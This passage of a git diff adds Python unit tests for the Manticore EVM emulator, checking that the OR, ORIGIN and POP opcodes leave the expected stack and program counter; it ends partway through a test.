+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_OR_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_OR_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_OR_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49])
+
+    def test_OR_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_OR_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_OR_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_OR_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_OR_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_OR_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_OR_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_OR_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_OR_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMORIGIN.py b/tests/EVM/test_EVMORIGIN.py
new file mode 100644
index 0000000..9b6ec22
--- /dev/null
+++ b/tests/EVM/test_EVMORIGIN.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_ORIGIN(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_ORIGIN_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='2'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0x111111111111111111111111111111111111100])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMPOP.py b/tests/EVM/test_EVMPOP.py
new file mode 100644
index 0000000..48a042b
--- /dev/null
+++ b/tests/EVM/test_EVMPOP.py
@@ -0,0 +1,281 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_POP(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_POP_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
